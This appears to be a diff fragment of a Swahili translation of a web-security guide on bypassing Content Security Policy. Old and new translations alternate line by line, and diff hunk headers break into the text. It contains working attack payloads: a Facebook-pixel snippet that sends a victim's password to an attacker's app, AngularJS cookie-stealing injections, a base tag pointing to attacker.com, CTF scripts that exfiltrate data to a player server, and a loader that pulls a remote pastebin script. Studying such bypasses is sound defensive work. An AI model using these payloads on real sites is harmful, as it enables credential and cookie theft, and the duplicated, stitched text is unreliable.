[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina viwango vya JSONP vilivyotayarishwa kwa matumizi ya CSP bypass ya tovuti tofauti.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina endpoints za JSONP tayari kwa CSP bypass ya tovuti mbalimbali.**
Uthibitisho sawa utaweza kutokea ikiwa **kiwango kilichotolewa kina Open Redirect** kwa sababu ikiwa kiwango cha awali kinatambulika, redirects zinatambulika.
Udhaifu huo huo utatokea ikiwa **trusted endpoint contains an Open Redirect** kwa sababu ikiwa initial endpoint ni trusted, redirects pia ni trusted.
### Matumizi Mabaya ya Vyama vya Tatu
### Matumizi Mabaya ya Wahusika wa Tatu
Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya vyama vya tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya vyama hivi vya tatu ni:
Kama ilivyoelezwa katika [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna domaini nyingi za pihak tatu ambazo zinaweza kuruhusiwa sehemu fulani ya CSP na zinaweza kutumiwa vibaya ili exfiltrate data au execute JavaScript code. Baadhi ya pihak tatu hizi ni:
| Kitu | Domain Iliyoruhusiwa | Uwezo |
| ----------------- | --------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Shirika | Domaini Zilizoruhusiwa | Uwezo |
| ----------------- | -------------------------------------------- | ----------- |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Ikiwa unapata yoyote ya maeneo yaliyoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya chama cha tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo.
Ikiwa utapata moja ya domaini zilizoruhusiwa katika CSP ya target yako, kuna uwezekano kwamba unaweza bypass CSP kwa kujisajili kwenye huduma ya pihak tatu na, ama exfiltrate data kwa huduma hiyo au execute code.
Kwa mfano, ikiwa unapata CSP ifuatayo:
Kwa mfano, ikiwa utapata CSP ifuatayo:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
@ -318,78 +318,78 @@ au
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Katika kesi hii, unafuata hatua hizi za jumla:
Unapaswa kuweza exfiltrate data, kwa namna ile ile kama imekuwa ikifanywa na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Katika kesi hii, fuata hatua hizi za jumla:
1. Unda akaunti ya Mdevelopment ya Facebook hapa.
2. Unda programu mpya ya "Facebook Login" na uchague "Website".
3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako.
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data.
5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako".
1. Unda akaunti ya Facebook Developer hapa.
2. Tengeneza app mpya ya "Facebook Login" na chagua "Website".
3. Nenda kwenye "Settings -> Basic" na upate "App ID" yako.
4. Kwenye tovuti lengwa unayotaka exfiltrate data kutoka, unaweza exfiltrate data kwa kutumia moja kwa moja Facebook SDK gadget "fbq" kupitia "customEvent" na data payload.
5. Nenda kwenye App yako "Event Manager" na chagua application uliyotengeneza (note the event manager could be found in an URL similar to this: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Chagua tab "Test Events" kuona events zinazotumwa na "your" web site.
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji ya Facebook ili kuelekeza kwenye app-id ya akaunti ya mdevelopment ya mshambuliaji na kutoa tukio maalum kama hili:
Kisha, kwa upande wa victim, utekeleze code ifuatayo ili kuanzisha Facebook tracking pixel kuelekeza kwenye attacker's Facebook developer account app-id na kutoa custom event kama ifuatavyo:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
Kuhusu maeneo mengine saba ya tatu yanayoorodheshwa katika jedwali lililotangulia, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Rejelea [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya ya wengine wa tatu.
Kuhusu domain nyingine saba za third-party zilizotajwa kwenye jedwali hapo awali, kuna njia nyingi zaidi za kuzitumia vibaya. Rejea alipokuwa [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) kwa maelezo ya ziada kuhusu matumizi mabaya mengine ya third-party.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Kupitia RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye seva zingine.
Mbali na ule uelekezaji uliotajwa hapo juu wa kupitisha vikwazo vya path, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) inayoweza kutumika kwenye servers fulani.
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kupitishwa kama ifuatavyo:
Kwa mfano, ikiwa CSP inaruhusu path `https://example.com/scripts/react/`, inaweza kupitishwa kama ifuatavyo:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Brahara hatimaye itapakia `https://example.com/scripts/angular/angular.js`.
Kivinjari hatimaye kitapakia `https://example.com/scripts/angular/angular.js`.
Hii inafanya kazi kwa sababu kwa brahara, unachukua faili inayoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
Hii inafanya kazi kwa sababu kwa upande wa kivinjari, unapakia faili iliyoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
∑, wataifungua, kwa ufanisi wakitafuta `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
∑, zitatafsiri, na kwa ufanisi zitafanya ombi la `https://example.com/scripts/react/../angular/angular.js`, ambalo ni sawa na `https://example.com/scripts/angular/angular.js`.
Kwa **kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**.
Kwa **kuita faida ukosefu huu wa muafaka katika tafsiri ya URL kati ya kivinjari na server, kanuni za path zinaweza kuepukwa**.
Suluhisho ni kutotreat `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya brahara na seva ili kuepuka tatizo hili.
Suluhisho ni kutotumia `%2f` kama `/` upande wa server, kuhakikisha tafsiri sawa kati ya kivinjari na server ili kuepuka tatizo hili.
Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Utekelezaji wa JS wa Iframes
### Utekelezaji wa JS katika Iframes
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### kukosekana kwa **base-uri**
### **base-uri** inakosekana
Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Ikiwa diretivu ya **base-uri** inakosekana unaweza kuitumia vibaya kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Zaidi ya hayo, ikiwa **ukurasa unachukua script kwa kutumia njia ya relative** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia **base** **tag** ili kufanya iwe **pakiwa** script kutoka **seva yako mwenyewe kufikia XSS.**\
Ikiwa ukurasa ulio hatarini unachukuliwa na **httpS**, tumia URL ya httpS katika base.
Zaidi ya hayo, ikiwa **ukurasa unapakia script kwa kutumia relative path** (like `<script src="/js/app.js">`) ukitumia **Nonce**, unaweza kutumia vibaya **base** **tag** ili kuifanya **load** script kutoka **server yako mwenyewe ukifanikisha XSS.**\
Kama ukurasa unaoathirika unapakiwa kwa **httpS**, tumia URL ya **httpS** katika base.
```html
<base href="https://www.attacker.com/" />
```
### Matukio ya AngularJS
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee `$event`, kinachorejelea kitu cha asili cha tukio la kivinjari. Kitu hiki cha `$event` kinaweza kutumika kuvunja CSP. Kwa kuzingatia, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia orodha ya vitu vilivyohusishwa na mnyororo wa utekelezaji wa tukio, ambapo kitu cha `window` daima kiko mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuweka vizingiti kwa matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio maalum kama mbadala. Ndani ya tukio, AngularJS hutoa object ya kipekee `$event`, inayorejea kwenye native browser event object. Object `$event` inaweza kutumiwa kuzunguka CSP. Kwa mfano, katika Chrome, object `$event/event` ina sifa `path`, inayoshikilia array ya object zilizohusika katika mnyororo wa utekelezaji wa tukio, na object `window` mara zote ikipangwa mwisho. Muundo huu ni muhimu kwa mbinu za kutoroka sandbox.
Kwa kuelekeza orodha hii kwa chujio cha `orderBy`, inawezekana kuzunguka juu yake, ikitumia kipengele cha mwisho (kitu cha `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
Kwa kupeleka array hii kwenye filter ya `orderBy`, inawezekana kuzunguka juu yake, ukaitegemea element ya mwisho (object `window`) kutekeleza global function kama `alert()`. Snippet ya code iliyooneshwa hapa chini inaelezea mchakato huu:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Hii snippet inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia objekti ya `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
Kiibukizo hiki kinaonyesha matumizi ya directive ya `ng-focus` kusababisha tukio, kutumia `$event.path|orderBy` kuendesha array ya `path`, na kutumia object ya `window` kutekeleza `alert()` na hivyo kufichua `document.cookie`.
**Pata bypass nyingine za Angular katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Tafuta Angular bypasses nyingine kwenye** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS na domain iliyoorodheshwa
### AngularJS na whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Sera ya CSP inayoruhusu majukwaa kwa ajili ya upakiaji wa script katika programu ya Angular JS inaweza kupuuziliwa mbali kupitia mwito wa kazi za callback na baadhi ya madarasa yenye udhaifu. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina unaopatikana kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Sera ya CSP ambayo inaweka whitelist ya domains kwa ajili ya script loading katika application ya Angular JS inaweza kupitishwa kwa uitoaji wa callback functions na baadhi ya vulnerable classes. Taarifa zaidi kuhusu mbinu hii zinaweza kupatikana katika mwongozo wa kina uliopo kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payloads zinazofanya kazi:
```html
@ -399,15 +399,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed)
Endpoints nyingine za JSONP za arbitrary execution zinaweza kupatikana [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (baadhi yao zilifutwa au kurekebishwa)
### Bypass via Redirection
### Kupita kupitia Uelekezaji
Nini hutokea wakati CSP inakutana na uelekezaji wa upande wa seva? Ikiwa uelekezaji unapelekea chanzo tofauti ambacho hakiruhusiwi, bado utafaulu.
Nini kinatokea wakati CSP inakutana na uelekezaji upande wa seva? Ikiwa uelekezaji unasababisha origin tofauti ambayo haijaruhusiwa, bado itashindwa.
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekezaji unapelekea njia tofauti, inaweza kupita vizuizi vya awali.
Hata hivyo, kwa mujibu wa maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekezaji unasababisha njia tofauti, unaweza kupitisha vikwazo vya asili.
Here's an example:
Hapa kuna mfano:
```html
<!DOCTYPE html>
<html>
@ -425,68 +425,69 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inachukuliwa, skripti za `/test` na `/a/test` zitazuiliwa na CSP.
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
Hata hivyo, `http://localhost:5555/301` itakuwa **imeelekezwa kwenye upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haitachukuliwa**, na **skripti inaweza kupakiwa**, hivyo kupita kizuizi cha njia.
However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction.
Kwa kuelekezwa huku, hata kama njia imeelezwa kikamilifu, bado itapita.
With this redirection, even if the path is specified completely, it will still be bypassed.
Kwa hivyo, suluhisho bora ni kuhakikisha kwamba tovuti haina udhaifu wowote wa kuelekeza wazi na kwamba hakuna maeneo ambayo yanaweza kutumika katika sheria za CSP.
Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
### Pita CSP na alama zisizokamilika
### Bypass CSP with dangling markup
Soma [jinsi hapa](../dangling-markup-html-scriptless-injection/index.html).
Soma [hapa](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; kupitia XSS
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` inamaanisha kwamba unaweza kutekeleza script yoyote ndani ya msimbo (XSS inaweza kutekeleza msimbo) na `img-src *` inamaanisha kwamba unaweza kutumia picha yoyote kutoka kwa rasilimali yoyote kwenye ukurasa wa wavuti.
`'unsafe-inline'` inamaanisha kwamba unaweza kutekeleza script yoyote ndani ya code (XSS inaweza kutekeleza code) na `img-src *` inamaanisha kwamba unaweza kutumia kwenye webpage picha yoyote kutoka kwa rasilimali yoyote.
Unaweza kupita CSP hii kwa kutolewa kwa data kupitia picha (katika tukio hili XSS inatumia CSRF ambapo ukurasa unaopatikana na bot una SQLi, na kutoa bendera kupitia picha):
Unaweza bypass CSP hii kwa exfiltrating data kupitia picha (katika tukio hili XSS inatumia CSRF ambapo ukurasa unaopatikana na bot una SQLi, na extract flag kupitia picha):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Chanzo: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Unaweza pia kutumia usanidi huu **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **pakia** **picha**, **itoa** **JS** kutoka kwake na **itekeleze** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Unaweza pia kutumia vibaya usanidi huu ili **kupakia javascript code iliyowekwa ndani ya picha**. Kwa mfano, ikiwa ukurasa unaruhusu kupakua picha kutoka Twitter. Unaweza **unda** **picha maalum**, **pakia** kwenye Twitter na kutumia "**unsafe-inline**" ku**tekeleza** JS code (kama XSS ya kawaida) ambayo itapakia **picha**, **itoa** **JS** kutoka ndani yake na **kuitekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Kwa Wafanyakazi wa Huduma
### Kwa Service Workers
Service workers **`importScripts`** function haizuiwi na CSP:
Kazi za wafanyakazi wa huduma **`importScripts`** hazipunguzwi na CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### Uingizaji wa Sera
### Policy Injection
**Utafiti:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Ikiwa **parameta** iliyotumwa na wewe inakua **imebandikwa ndani** ya **tangazo** la **sera,** basi unaweza **kubadilisha** **sera** kwa njia fulani inayofanya **iwe haina maana**. Unaweza **kuruhusu script 'unsafe-inline'** na mojawapo ya hizi bypasses:
Ikiwa **parameter** uliyotuma inakwekwa ndani ya **declaration** ya **policy,** basi unaweza **badilisha** **policy** kwa namna yoyote itakayoi**fanya isiwe na maana**. Unaweza **kuruhusu script 'unsafe-inline'** kwa mojawapo ya njia hizi za bypass:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Kwa sababu hii **itaandika upya maagizo ya script-src yaliyopo**.\
Unaweza kupata mfano hapa: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
Kwa sababu directive hii itafunika **script-src directives zilizopo**.\
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP hii tu: **`;_`** **Edge** it **ondoa** sera **nzima**.\
Mfano: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
Kwenye Edge ni rahisi zaidi. Kama unaweza kuongeza katika CSP tu hii: **`;_`**, Edge itaondoa kabisa **policy**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
### img-src \*; via XSS (iframe) - Time attack
Tazama ukosefu wa agizo `'unsafe-inline'`\
Wakati huu unaweza kumfanya mwathirika **paku** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unataka kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ukurasa unahitaji kupakia** unaweza kutoa taarifa unazohitaji.
Tambua kutokuwepo kwa directive `'unsafe-inline'`\
Mara hii unaweza kumfanya mwathirika **kupakia** ukurasa ulioko chini ya **udhibiti wako** kupitia **XSS** kwa kutumia `<iframe`. Mara hii utamfanya mwathirika afikie ukurasa kutoka ambako unataka kutoa taarifa (**CSRF**). Huwezi kupata yaliyomo ya ukurasa, lakini kama kwa namna fulani unaweza **kudhibiti muda ukurasa unavyohitaji kupakia** unaweza kutoa taarifa unazohitaji.
Wakati huu **bendera** itachukuliwa, kila wakati **herufi inakisiwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya usingizi. Kisha, utaweza kutoa bendera:
Mara hii **flag** itatolewa; kila wakati **char inapokisiwa kwa usahihi** kupitia SQLi, **response** inachukua **muda zaidi** kutokana na sleep function. Kisha, utaweza kutoa flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -546,24 +547,24 @@ console.log(prefix)
run()
</script>
```
### Via Bookmarklets
### Kupitia Bookmarklets
Shambulio hili litahitaji uhandisi wa kijamii ambapo mshambuliaji **anawashawishi watumiaji kuburuta na kuacha kiungo juu ya bookmarklet ya kivinjari**. Huu bookmarklet utakuwa na **kodhi mbaya ya javascript** ambayo itatekelezwa katika muktadha wa dirisha la wavuti la sasa, **ikiepuka CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au tokeni.
Shambulio hili linahitaji aina ya social engineering ambapo mshambulizi **anamhakikishia mtumiaji kuburuta na kuachia kiungo juu ya bookmarklet ya kivinjari**. Bookmarklet hii itakuwa na msimbo wa **javascript wenye madhara** ambao unapoburuta na kuachishwa au kubonyezwa unatekelezwa katika muktadha wa dirisha la wavuti la sasa, **kupita kando ya CSP na kuruhusu kuiba taarifa nyeti** kama cookies au tokens.
Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
### Kupita kando ya CSP kwa kuweka CSP kali
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inakwepa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye vizuizi zaidi ambayo ilikataza kupakia faili maalum la JS ambalo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**.
Katika [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapitia kando kwa kuingiza ndani ya iframe iliyoruhusiwa CSP kali zaidi ambayo ilinzuia kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kutumia script tofauti ili kupakia script yoyote**.
Unaweza **kuzuia CSP ya Iframe** kwa kutumia **`csp`** sifa:
Unaweza **kuzuia CSP ya Iframe** kwa kutumia attribute **`csp`**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
Katika [**hii CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ilikuwa inawezekana kupitia **HTML injection** **kuzuia** zaidi **CSP** hivyo script inayozuia CSTI ilizuiliwa na kwa hivyo **udhaifu ukawa unatumika.**\
CSP inaweza kufanywa kuwa na vizuizi zaidi kwa kutumia **HTML meta tags** na scripts za ndani zinaweza kuzuiliwa **kuondoa** **ingizo** linaloruhusu **nonce** zao na **kuwezesha script maalum za ndani kupitia sha**:
Katika [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ilikuwa inawezekana kupitia **HTML injection** kuifanya **CSP** kuwa na vikwazo zaidi kiasi kwamba script iliyokuwa ikizuia **CSTI** ilizimwa na kwa hivyo **vulnerability became exploitable.**\
CSP inaweza kufanywa kuwa kali zaidi kwa kutumia **HTML meta tags** na **inline scripts** zinaweza kuzimwa kwa **kuondoa** **entry** inayoruhusu **nonce** yao na **enable specific inline script via sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -574,7 +575,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Ikiwa unaweza kusababisha seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze kwenye seva yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ni uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka `Content-Security-Policy-Report-Only`.
Iwapo unaweza kusababisha server kuituma header **`Content-Security-Policy-Report-Only`** yenye **thamani unayodhibiti** (labda kwa sababu ya CRLF), unaweza kuielekeza kwa server yako na ikiwa **utaweka** **JS content** unayotaka ku-exfiltrate ndani ya **`<script>`**, na kwa kuwa kuna uwezekano mkubwa `unsafe-inline` hauruhusiwi na CSP, hii itasababisha **CSP error** na sehemu ya script (iliyomo taarifa nyeti) itatumwa kwa server kupitia `Content-Security-Policy-Report-Only`.
Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -583,40 +584,58 @@ Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Chal
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Kueneza Taarifa kwa CSP na Iframe
### Leaking Taarifa na CSP na Iframe
- `iframe` inaundwa inayolenga URL (tuiite `https://example.redirect.com`) ambayo inaruhusiwa na CSP.
- URL hii kisha inarejelea URL ya siri (mfano, `https://usersecret.example2.com`) ambayo **hairuhusiwi** na CSP.
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inaonyesha jina la kikoa la URI iliyozuiwa, ikivuja jina la siri la kikoa ambacho URL ya awali ilirejelea.
- Kuna `iframe` inayoundwa inayoelekeza kwa URL (tuitaje `https://example.redirect.com`) ambayo inaruhusiwa na CSP.
- URL hii inapindaisha hadi URL ya siri (kwa mfano `https://usersecret.example2.com`) ambayo **haikiruhusiwi** na CSP.
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kunasa property ya `blockedURI`. Property hii inaonyesha domain ya blocked URI, leaking the secret domain to which the initial URL redirected.
